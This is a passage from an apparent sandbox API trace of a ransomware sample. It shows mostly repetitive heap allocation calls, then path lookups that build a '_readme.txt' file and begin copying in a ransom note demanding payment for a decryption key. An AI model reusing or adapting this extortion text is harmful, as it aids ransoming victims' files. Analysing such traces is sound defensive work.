(in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.401] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.401] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0066.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.402] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.402] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.402] PathFindFileNameW (pszPath="") returned="" [0066.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.402] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.402] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.402] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.402] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.402] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0066.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.402] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.402] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0066.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.403] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for 